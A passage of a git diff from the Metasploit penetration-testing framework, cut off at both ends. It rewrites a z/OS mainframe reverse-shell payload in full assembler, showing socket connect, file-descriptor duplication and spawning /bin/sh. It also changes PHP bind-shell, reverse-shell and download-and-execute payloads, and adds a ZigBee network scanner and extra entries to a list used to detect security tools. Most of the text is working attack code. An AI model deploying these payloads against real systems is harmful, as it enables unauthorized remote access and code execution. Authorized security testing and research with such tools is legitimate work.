MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_Java_Android, + 'Payload' => '', + )) + end + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + + def generate_jar(opts={}) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + opts[:uri] = generate_uri_uuid_mode(:connect, uri_req_len) + opts[:stageless] = true + super(opts) + end + +end diff --git a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb index d4f0ef730f..376bc635cd 100644 --- a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb +++ b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb @@ -14,7 +14,7 @@ require 'msf/base/sessions/mainframe_shell' require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 9048 + CachedSize = 9973 include Msf::Payload::Single include Msf::Payload::Mainframe include Msf::Sessions::CommandShellOptions @@ -82,187 +82,240 @@ module MetasploitModule jcl_jobcard + "//**************************************/\n" \ - "//* Generates reverse shell */\n" \ + "//* SPAWN REV SHELL FOR MSF MODULE */\n" \ "//**************************************/\n" \ + "//* final load module name here\n" \ + "//SET1 SET PGMN=SPAWNREV\n" \ "//*\n" \ - "//STEP1 EXEC PROC=ASMACLG\n" \ - "//SYSPRINT DD SYSOUT=*,HOLD=YES\n" \ - "//SYSIN DD *,DLM=ZZ\n" \ - " TITLE 'z/os Reverse Shell'\n" \ - "NEWREV CSECT\n" \ - "NEWREV AMODE 31\n" \ - "NEWREV RMODE 31\n" \ + "//STEP1 EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \ + "//L.SYSLIB DD DSN=SYS1.CSSLIB,DISP=SHR\n" \ + "//C.SYSIN DD *,DLM=ZZ\n" \ + " TITLE 'spaw rev shell non exec'\n" \ + "SPAWNREV CSECT\n" \ + "SPAWNREV AMODE 31\n" \ + "SPAWNREV RMODE ANY\n" \ "***********************************************************************\n" \ - "* SETUP registers and save areas *\n" \ + "* @SETUP registers and save areas *\n" \ "***********************************************************************\n" \ - "MAIN LR 7,15 # R7 is base register\n" \ - " NILH 7,X'1FFF' # ensure local address\n" \ - " USING MAIN,0 # R8 for addressability\n" \ + " USING *,15\n" \ + "@SETUP0 B @SETUP1\n" \ + " DROP 15\n" \ + " DS 0H # half word boundary\n" \ + "@SETUP1 STM 14,12,12(13) # save our registers\n" \ + " LR 2,13 # callers sa\n" \ + " LR 8,15 # pgm base in R8\n" \ + " USING @SETUP0,8 # R8 for base addressability\n" \ + "*************************************\n" \ + "* set up data area / addressability *\n" \ + "*************************************\n" \ + "*\n" \ + " L 0,@DYNSIZE # len of variable area\n" \ + " GETMAIN RU,LV=(0) # get data stg, len R0\n" \ + " LR 13,1 # data address\n" \ + " USING @DATA,13 # addressability for data area\n" \ + "* XC @DATA(@DATA#LEN),@DATA # zero data area\n" \ + " ST 2,@BACK # store callers sa address\n" \ + " ST 13,8(,2) # store our data addr\n" \ + "*************************************\n" \ + "* set up INHE area / addressability *\n" \ + "*************************************\n" \ + "*\n" \ + "* L 0,=A(INHE#LENGTH) # length of INHE macro\n" \ + "* GETMAIN RU,LV=(0) # get stg for inhe macro\n" \ + "* ST 1,@CONSA # save addr inhe macro stg\n" \ + "* LR 5,1 # R5 has INHE struct address\n" \ + "* USING INHE,5 # addressability for INHE\n" \ " DS 0H # halfword boundaries\n" \ - " LA 1,ZEROES(7) # address byond which should be all 0s\n" \ - " XC 0(204,1),0(1) # clear zero area\n" \ - " LA 13,SAVEAREA(7) # address of save area\n" \ - " LHI 8,8 # R8 has static 8\n" \ - " LHI 9,1 # R9 has static 1\n" \ - " LHI 10,2 # R10 has static 2\n" \ + "***********************************************************************\n" \ + "* BPX1SOC set up socket - inline *\n" \ + "***********************************************************************\n" \ + " CALL BPX1SOC, X\n" \ + " (DOM,TYPE,PROTO,DIM,CLIFD, X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "*******************************\n" \ + "* chk return code, 0 or exit *\n" \ + "*******************************\n" \ + " LHI 15,2\n" \ + " L 6,RTN_VAL\n" \ + " CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \ "\n" \ "***********************************************************************\n" \ - "* BPX1SOC set up socket *\n" \ + "* BPX1CON (connect) connect to remote host - inline *\n" \ "***********************************************************************\n" \ - "BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \ - " LA 3,8 # n parms\n" \ - " LA 5,DOM(7) # Relative addr of First parm\n" \ - " ST 10,DOM(7) # store a 2 for AF_INET\n" \ - " ST 9,TYPE(7) # store a 1 for sock_stream\n" \ - " ST 9,DIM(7) # store a 1 for dim_sock\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ - "\n" \ - "***********************************************************************\n" \ - "* BPX1CON (connect) connect to rmt host *\n" \ - "***********************************************************************\n" \ - "BCON L 5,CLIFD(7) # address of client file descriptor\n" \ - " ST 5,CLIFD2(7) # store for connection call\n" \ - "*** main processing **\n" \ - " LA 1,SSTR(7) # packed socket string\n" \ - " LA 5,CLIFD2(7) # dest for our sock str\n" \ - " MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \ - " LA 0,@@F2(7) # USS callable svcs connect\n" \ - " LA 3,6 # n parms for func call\n" \ - " LA 5,CLIFD2(7) # src parm list addr\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ + " XC SOCKADDR(16),SOCKADDR # zero sock addr struct\n" \ + " MVI SOCK_FAMILY,AF_INET # family inet\n" \ + " MVI SOCK_LEN,SOCK#LEN # len of socket\n" \ + " MVC SOCK_SIN_PORT,CONNSOCK # port to connect to\n" \ + " MVC SOCK_SIN_ADDR,CONNADDR # address to connect to\n" \ + " CALL BPX1CON, X\n" \ + " (CLIFD,SOCKLEN,SOCKADDR, X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "*******************************\n" \ + "* chk return code, 0 or exit *\n" \ + "*******************************\n" \ + " LHI 15,3\n" \ + " L 6,RTN_VAL\n" \ + " CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \ "\n" \ "*************************************************\n" \ - "* Preparte the child pid we'll spawn *\n" \ + "* order of things to prep child pid *\n" \ "* 0) Dupe all 3 file desc of CLIFD *\n" \ "* 1) dupe parent read fd to std input *\n" \ "*************************************************\n" \ - " LHI 11,2 # Loop Counter R11=2\n" \ - "@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \ - "@RET1 AHI 11,-1 # Decrement R11\n" \ - " CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \ + "*******************\n" \ + "***** STDIN *****\n" \ + "*******************\n" \ + " CALL BPX1FCT, X\n" \ + " (CLIFD, X\n" \ + " =A(F_DUPFD2), X\n" \ + " =A(F_STDI), X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "****************************************************\n" \ + "* chk return code here anything but -1 is ok *\n" \ + "****************************************************\n" \ + " LHI 15,11 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " CIB 7,-1,8,EXITP # r6 = -1 exit\n" \ + "*******************\n" \ + "***** STDOUT *****\n" \ + "*******************\n" \ + " CALL BPX1FCT, X\n" \ + " (CLIFD, X\n" \ + " =A(F_DUPFD2), X\n" \ + " =A(F_STDO), X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "****************************************************\n" \ + "* chk return code here anything but -1 is ok *\n" \ + "****************************************************\n" \ + " LHI 15,11 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " CIB 7,-1,8,EXITP # r6 = -1 exit\n" \ + "*******************\n" \ + "***** STDERR *****\n" \ + "*******************\n" \ + " CALL BPX1FCT, X\n" \ + " (CLIFD, X\n" \ + " =A(F_DUPFD2), X\n" \ + " =A(F_STDE), X\n" \ + " RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + "****************************************************\n" \ + "* chk return code here anything but -1 is ok *\n" \ + "****************************************************\n" \ + " LHI 15,11 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " CIB 7,-1,8,EXITP # r7 = -1 exit\n" \ + "***********************************************************************\n" \ + "* BP1SPN (SPAWN) execute shell '/bin/sh' *\n" \ + "***********************************************************************\n" \ + "******\n" \ + "******\n" \ + " XC INHE(INHE#LENGTH),INHE # clear inhe structure\n" \ + " XI INHEFLAGS0,INHESETPGROUP\n" \ + " SPACE ,\n" \ + " MVC INHEEYE,=C'INHE'\n" \ + " LH 0,TLEN\n" \ + " STH 0,INHELENGTH\n" \ + " LH 0,TVER\n" \ + " STH 0,INHEVERSION\n" \ + " CALL BPX1SPN, X\n" \ + " (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL, X\n" \ + " EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL, X\n" \ + " RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \ + " LHI 15,12 # exit code for this func\n" \ + " L 7,RTN_VAL # set r7 to rtn val\n" \ + " L 6,RTN_COD\n" \ + " L 5,RSN_COD\n" \ + " CIB 7,-1,8,EXITP # r7 = -1 exit\n" \ "\n" \ - "***********************************************************************\n" \ - "* BPX1EXC (exec) execute /bin/sh *\n" \ - "***********************************************************************\n" \ - "LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \ - "******************************************\n" \ - "**** load array of addr and constants ***\n" \ - "******************************************\n" \ - " ST 10,EXARG1L(7) # arg 1 len is 2\n" \ - " LA 2,EXARG1L(7) # addr of len of arg1\n" \ - " ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \ - " LA 2,EXARG1(7) # addr of arg1\n" \ - " ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \ - " ST 9,EXARGC(7) # store 1 in ARG Count\n" \ - "**************************************************************\n" \ - "*** call the exec function the normal way ********************\n" \ - "**************************************************************\n" \ - " LA 0,@@EX1(7) # USS callable svcs EXEC\n" \ - " LA 3,13 # n parms\n" \ - " LA 5,EXCPRM1(7) # src parm list addr\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ + "****************************************************\n" \ + "* cleanup & exit *\n" \ + "* preload R15 with exit code *\n" \ + "****************************************************\n" \ + "GOODX XR 15,15 # 4 FOR rc\n" \ + "* L 0,=A(INHE#LENGTH)\n" \ + "* L 5,@INHEA\n" \ + "* DROP 5\n" \ + "* FREEMAIN RU,LV=(0),A=(5) #free storage\n" \ + "EXITP L 0,@DYNSIZE\n" \ + " LR 1,13\n" \ + " L 13,@BACK\n" \ + " DROP 13\n" \ + " FREEMAIN RU,LV=(0),A=(1) #free storage\n" \ + " XR 15,15\n" \ + " L 14,12(,13) # load R14\n" \ + " LM 0,12,20(13) # load 0-12\n" \ + " BSM 0,14 # branch to caller\n" \ "\n" \ - "***********************************************************************\n" \ - "*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \ - "***********************************************************************\n" \ - "LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \ - " ST 8,@ACT(7) # 8 is our dupe2 action\n" \ - " L 5,CLIFD(7) # client file descriptor\n" \ - " ST 5,@FFD(7) # store as fnctl argument\n" \ - " ST 11,@ARG(7) # fd to clone\n" \ - " LA 3,6 # n parms\n" \ - " LA 5,@FFD(7) # src parm list addr\n" \ - " LA 15,CLORUN(7) # address of generic load & run\n" \ - " BASR 14,15 # Branch to load & run\n" \ - " BRC 15,@RET1 # Return to caller\n" \ - "\n" \ - "***********************************************************************\n" \ - "* LOAD and run R0=func name, R3=n parms *\n" \ - "* R5 = src parm list *\n" \ - "***********************************************************************\n" \ - "CLORUN ST 14,8(,13) # store ret address\n" \ - " XR 1,1 # zero R1\n" \ - " SVC 8 # get func call addr for R0\n" \ - " ST 0,12(13) # Store returned addr in our SA\n" \ - " L 15,12(13) # Load func addr into R15\n" \ - " LHI 6,20 # offset from SA of first parm\n" \ - " LA 1,0(6,13) # start of dest parm list\n" \ - "@LOOP2 ST 5,0(6,13) # store parms address in parm\n" \ - " AHI 3,-1 # decrement # parm\n" \ - " CIJ 3,11,8,@FIX # haky fix for EXEC func\n" \ - "@RETX AHI 6,4 # increment dest parm addr\n" \ - " AHI 5,4 # increment src parm addr\n" \ - " CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" \ - " LA 5,0(6,13)\n" \ - " AHI 5,-4\n" \ - " OI 0(5),X'80' # last parm first bit high\n" \ - "@FIN1 BALR 14,15 # call function\n" \ - " L 14,8(,13) # set up return address\n" \ - " BCR 15,14 # return to caller\n" \ - "@FIX AHI 5,4 # need extra byte skipped for exec\n" \ - " BRC 15,@RETX\n" \ - "\n" \ - "***********************************************************************\n" \ - "* Arg Arrays, Constants and Save Area *\n" \ - "***********************************************************************\n" \ - " DS 0F\n" \ - "*************************\n" \ - "**** Func Names ****\n" \ - "*************************\n" \ - "@@F1 DC CL8'BPX1SOC '\n" \ - "@@F2 DC CL8'BPX1CON '\n" \ - "@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" \ - "@@FC1 DC CL8'BPX1FCT '\n" \ - "* # BPX1EXC Constants\n" \ - "EXARG1 DC CL2'sh' # arg 1 to exec\n" \ - "* # BPX1CON Constants\n" \ - "SSTR DC X'100202#{lport}#{lhost}'\n" \ - "* # BPX1EXC Arguments\n" \ - "EXCPRM1 DS 0F # actual parm list of exec call\n" \ - "EXCMDL DC F'7' # len of cmd to exec\n" \ - "EXCMD DC CL7'/bin/sh' # command to exec\n" \ - "*********************************************************************\n" \ - "******* Below this line is filled in runtime, but at compile ********\n" \ - "******* is all zeroes, so it can be dropped from the shell- *********\n" \ - "******* code as it will be dynamically added back and the ***********\n" \ - "******* offsets are already calulated in the code *******************\n" \ - "*********************************************************************\n" \ - "ZEROES DS 0F # 51 4 byte slots\n" \ - "EXARGC DC F'0' # num of arguments\n" \ - "EXARGS DC 10XL4'00000000' # reminaing exec args\n" \ - "EXARG1L DC F'0' # arg1 length\n" \ - "* # BPX1FCT Arguments\n" \ - "@FFD DC F'0' # file descriptor\n" \ - "@ACT DC F'0' # fnctl action\n" \ - "@ARG DC F'0' # argument to fnctl\n" \ - "@RETFD DC F'0' # fd return\n" \ - "FR1 DC F'0' # rtn code\n" \ - "FR2 DC F'0' # rsn code\n" \ - "* # BPX1SOC Arguments\n" \ - "DOM DC F'0' # AF_INET = 2\n" \ - "TYPE DC F'0' # sock stream = 1\n" \ - "PROTO DC F'0' # protocol ip = 0\n" \ - "DIM DC F'0' # dim_sock = 1\n" \ - "CLIFD DC F'0' # client file descriptor\n" \ - "SR1 DC F'0' # rtn val\n" \ - "SR2 DC F'0' # rtn code\n" \ - "SR3 DC F'0' # rsn code\n" \ - "* # BPX1CON Arguments\n" \ - "CLIFD2 DC F'0' # CLIFD\n" \ - "SOCKLEN DC F'0' # length of Sock Struct\n" \ - "SRVSKT DC XL2'0000' # srv socket struct\n" \ - " DC XL2'0000' # port\n" \ - " DC XL4'00000000' # RHOST 0.0.0.0\n" \ - "CR1 DC F'0' # rtn val\n" \ - "CR2 DC F'0' # rtn code\n" \ - "CR3 DC F'0' # rsn code\n" \ - "SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" \ - "EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" \ - " END MAIN\n" \ - "ZZ\n" \ - "//*\n" + "**********************\n" \ + "* *\n" \ + "* Constant Sections *\n" \ + "* *\n" \ + "**********************\n" \ + " DS 0F # constants full word boundary\n" \ + "F_STDI EQU 0\n" \ + "F_STDO EQU 1\n" \ + "F_STDE EQU 2\n" \ + "*************************\n" \ + "* Socket conn variables * # functions used by pgm\n" \ + "*************************\n" \ + "CONNSOCK DC XL2'#{lport}' # LPORT\n" \ + "CONNADDR DC XL4'#{lhost}' # LHOST\n" \ + "BACKLOG DC F'1' # 1 byte backlog\n" \ + "DOM DC A(AF_INET) # AF_INET = 2\n" \ + "TYPE DC A(SOCK#_STREAM) # stream = 1\n" \ + "PROTO DC A(IPPROTO_IP) # ip = 0\n" \ + "DIM DC A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \ + "SOCKLEN DC A(SOCK#LEN+SOCK_SIN#LEN)\n" \ + "************************\n" \ + "* BPX1SPN vars *********\n" \ + "************************\n" \ + "EXCMD DC CL7'/bin/sh' # command to exec\n" \ + "EXCMDL DC A(L'EXCMD) # len of cmd to exec\n" \ + "EXARGC DC F'1' # num of arguments\n" \ + "EXARG1 DC CL2'sh' # arg 1 to exec\n" \ + "EXARG1L DC A(L'EXARG1) # len of arg1\n" \ + "EXARGL DC A(EXARG1) # addr of argument list\n" \ + "EXARGLL DC A(EXARG1L) # addr of arg len list\n" \ + "EXENVC DC F'0' # env var count\n" \ + "EXENVL DC F'0' # env var arg list addr\n" \ + "EXENVLL DC F'0' # env var arg len addr\n" \ + "EXITRA DC F'0' # exit routine addr\n" \ + "EXITPLA DC F'0' # exit rout parm list addr\n" \ + "FDCNT DC F'0' # field count s/b 0\n" \ + "FDLST DC F'0' # field list addr s/b 0\n" \ + "MYLEN DC F'0'\n" \ + "TVER DC AL2(INHE#VER)\n" \ + "TLEN DC AL2(INHE#LENGTH)\n" \ + " SPACE ,\n" \ + "@DYNSIZE DC A(@ENDYN-@DATA)\n" \ + "***************************\n" \ + "***** end of constants ****\n" \ + "***************************\n" \ + "@DATA DSECT ,\n" \ + " DS 0D\n" \ + "PLIST DS 16A\n" \ + "RTN_VAL DS F # return value\n" \ + "RTN_COD DS F # return code\n" \ + "RSN_COD DS F # reason code\n" \ + "CLIFD DS F # client fd\n" \ + "*********************\n" \ + "* Return value vars *\n" \ + "*********************\n" \ + "@SAVE00 DS 0D\n" \ + " DS A\n" \ + "@BACK DS A\n" \ + "@FORWARD DS A\n" \ + " DS 15A\n" \ + "@INHEA DS A\n" \ + "*\n" \ + " BPXYSOCK LIST=NO,DSECT=NO\n" \ + " BPXYFCTL LIST=NO,DSECT=NO\n" \ + " BPXYINHE LIST=NO,DSECT=NO\n" \ + "@ENDYN EQU *\n" \ + "@DATA#LEN EQU *-@DATA\n" \ + " BPXYCONS LIST=YES\n" \ + " END SPAWNREV\n" \ + "ZZ\n" \ + "//*\n" end end diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index f6a35f64cb..3627d41cbf 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -43,7 +43,7 @@ module MetasploitModule dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4); shell = <<-END_OF_PHP_CODE - #{php_preamble({:disabled_varname => dis})} + #{php_preamble(disabled_varname: dis)} $port=#{datastore['LPORT']}; $scl='socket_create_listen'; diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb index c0f5941236..0dd7fecec6 100644 --- a/modules/payloads/singles/php/download_exec.rb +++ b/modules/payloads/singles/php/download_exec.rb @@ -40,6 +40,7 @@ module MetasploitModule exename = Rex::Text.rand_text_alpha(rand(8) + 4) dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) shell = <<-END_OF_PHP_CODE + #{php_preamble(disabled_varname: dis)} if (!function_exists('sys_get_temp_dir')) { function sys_get_temp_dir() { if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); } @@ -55,7 +56,9 @@ module MetasploitModule } $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe"; $fd_in = fopen("#{datastore['URL']}", "rb"); + if ($fd_in === false) { die(); } $fd_out = fopen($fname, "wb"); + if ($fd_out === false) { die(); } while (!feof($fd_in)) { fwrite($fd_out, fread($fd_in, 8192)); } @@ -63,8 +66,7 @@ module MetasploitModule fclose($fd_out); chmod($fname, 0777); $c = $fname; - #{php_preamble({:disabled_varname => dis})} - #{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})} + #{php_system_block(cmd_varname: "$c", disabled_varnam: dis)} @unlink($fname); END_OF_PHP_CODE diff --git a/modules/payloads/singles/php/exec.rb b/modules/payloads/singles/php/exec.rb index 09b07f6530..b6872d7aa1 100644 --- a/modules/payloads/singles/php/exec.rb +++ b/modules/payloads/singles/php/exec.rb @@ -37,9 +37,9 @@ module MetasploitModule cmd = Rex::Text.encode_base64(datastore['CMD']) dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) shell = <<-END_OF_PHP_CODE + #{php_preamble(disabled_varname: dis)} $c = base64_decode("#{cmd}"); - #{php_preamble({:disabled_varname => dis})} - #{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis})} + #{php_system_block(cmd_varname: "$c", disabled_varname: dis)} END_OF_PHP_CODE return Rex::Text.compress(shell) diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 823c738885..4369d2a5cf 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -38,7 +38,7 @@ module MetasploitModule uuid = generate_payload_uuid bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"") + met = met.sub(%q|"PAYLOAD_UUID", ""|, %Q|"PAYLOAD_UUID", "#{bytes}"|) met.gsub!(/#.*$/, '') met = Rex::Text.compress(met) diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb index 95b71cea29..bb0dbb5ad5 100644 --- a/modules/payloads/singles/php/reverse_php.rb +++ b/modules/payloads/singles/php/reverse_php.rb @@ -66,12 +66,12 @@ module MetasploitModule shell=<<-END_OF_PHP_CODE $ipaddr='#{ipaddr}'; $port=#{port}; - #{php_preamble({:disabled_varname => "$dis"})} + #{php_preamble(disabled_varname: "$dis")} if(!function_exists('#{exec_funcname}')){ function #{exec_funcname}($c){ global $dis; - #{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})} + #{php_system_block(cmd_varname: "$c", disabled_varname: "$dis", output_varname: "$o")} return $o; } } diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb index 1595e817e7..9190671866 100644 --- a/modules/payloads/singles/php/shell_findsock.rb +++ b/modules/payloads/singles/php/shell_findsock.rb @@ -50,13 +50,12 @@ module MetasploitModule var_fd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6) var_out = '$' + Rex::Text.rand_text_alpha(rand(4) + 6) shell = <"); flush(); function mysystem(#{var_cmd}){ - #{php_preamble()} - #{php_system_block({:cmd_varname=>var_cmd, :output_varname => var_out})} + #{php_system_block(cmd_varname: var_cmd, output_varname: var_out)} return #{var_out}; } diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index d20184ab7e..ccee4a7458 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51594 + CachedSize = 53382 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 27aaa79175..4edbc4dd95 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51558 + CachedSize = 53346 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 0b8f9c5e7b..db9df75f6b 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51558 + CachedSize = 53346 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 63e1f1176c..f6b0a616b8 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51510 + CachedSize = 53302 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/stagers/python/reverse_tcp_ssl.rb b/modules/payloads/stagers/python/reverse_tcp_ssl.rb index e5a6422a1a..d564bec8cb 100644 --- a/modules/payloads/stagers/python/reverse_tcp_ssl.rb +++ b/modules/payloads/stagers/python/reverse_tcp_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: https://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/hardware/zigbee/zstumbler.rb b/modules/post/hardware/zigbee/zstumbler.rb new file mode 100644 index 0000000000..074132a139 --- /dev/null +++ b/modules/post/hardware/zigbee/zstumbler.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/hardware/zigbee/utils' + +class MetasploitModule < Msf::Post + + include Msf::Post::Hardware::Zigbee::Utils + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Sends Beacons to Scan for Active ZigBee Networks', + 'Description' => %q{ Post Module to send beacon signals to the broadcast address while + channel hopping}, + 'License' => MSF_LICENSE, + 'Author' => ['Craig Smith'], + 'Platform' => ['hardware'], + 'SessionTypes' => ['hwbridge'] + )) + register_options([ + OptInt.new('CHANNEL', [false, "Disable channel hopping by forcing a channel (11-26)", nil]), + OptInt.new('LOOP', [false, "How many times to loop over the channels (-1 will run in an endless loop)", 1]), + OptInt.new('DELAY', [false, "Delay in seconds to listen on each channel", 2]), + OptString.new('DEVICE', [false, "ZigBee device ID, defaults to target device", nil]) + ], self.class) + @seq = 0 + @channel = 11 + @stumbled = {} + @loop_count = 0 + end + + def display_details(routerdata) + stackprofile_map = {0 => "Network Specific", + 1 => "ZigBee Standard", + 2 => "ZigBee Enterprise"} + stackver_map = {0 => "ZigBee Prototype", + 1 => "ZigBee 2004", + 2 => "ZigBee 2006/2007"} + spanid, source, extpanid, stackprofilever, channel = routerdata + stackprofilever = stackprofilever.unpack("H*")[0].hex + stackprofile = stackprofilever & 0x0f + stackver = (stackprofilever & 0xf0) >> 4 + profile = "Unknown" + profile = stackprofile_map[stackprofile] if stackprofile_map.has_key? stackprofile + ver = "Unknown" + ver = stackver_map[stackver] if stackver_map.has_key? stackver + print_status("New Network: PANID: 0x#{spanid.upcase} SOURCE: 0x#{source.upcase}") + print_status(" Ext PANID: #{extpanid.upcase.scan(/../).join(':')} Stack Profile: #{profile}") + print_status(" Stack Version: #{ver}") + print_status(" Channel: #{@channel}") + end + + def scan + @seq = 0 if @seq > 255 + print_status("Scanning Channel #{@channel}") + set_channel(datastore["DEVICE"], @channel) + beacon = "\x03\x08#{@seq.chr}\xff\xff\xff\xff\x07" + inject(datastore["DEVICE"], beacon) + delay = Time.now + datastore["DELAY"] + while delay > Time.now() + pkt = recv(datastore["DEVICE"]) + if pkt and pkt.size > 0 and pkt["valid_crc"] + pktdecode = dot154_packet_decode(pkt["data"]) + if (pktdecode["FSF"] & DOT154_FCF_TYPE_MASK) == DOT154_FCF_TYPE_BEACON + key = "#{pktdecode["SPAN_ID"]}#{pktdecode["SOURCE"]}" + value = [pktdecode["SPAN_ID"], pktdecode["SOURCE"], pktdecode["EXT_PAN_ID"], pktdecode["STACK_PROFILE"], @channel] + if not @stumbled.has_key? key + @stumbled[key] = value + display_details(value) + end + end + end + end + sniffer_off(datastore["DEVICE"]) # Needed to clear receive buffers + @seq += 1 + @channel += 1 if not datastore["CHANNEL"] + @loop_count += 1 if @channel > 26 or datastore["CHANNEL"] + @channel = 11 if @channel > 26 + end + + def run + if not get_target_device and not datastore["DEVICE"] + print_error "No target device set. Either set one with the 'target' command or specify the DEVICE." + return + end + @channel = datastore["CHANNEL"] if datastore["CHANNEL"] + @channel = 11 if @channel > 26 + if datastore["LOOP"] == -1 + while(1) do + scan + end + else + while(@loop_count < datastore["LOOP"]) + scan + end + end + end + +end diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index 97d4ea05a8..a3fec3f4f8 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -71,7 +71,8 @@ class MetasploitModule < Msf::Post "truecrypt", "bulldog", "ufw", "iptables", "logrotate", "logwatch", "chkrootkit", "clamav", "snort", "tiger", "firestarter", "avast", "lynis", "rkhunter", "tcpdump", "webmin", "jailkit", "pwgen", "proxychains", "bastille", - "psad", "wireshark", "nagios", "nagios", "apparmor", "honeyd", "thpot" + "psad", "wireshark", "nagios", "nagios", "apparmor", "honeyd", "thpot", + "aa-status", "gradm2", "getenforce" ] env_paths = 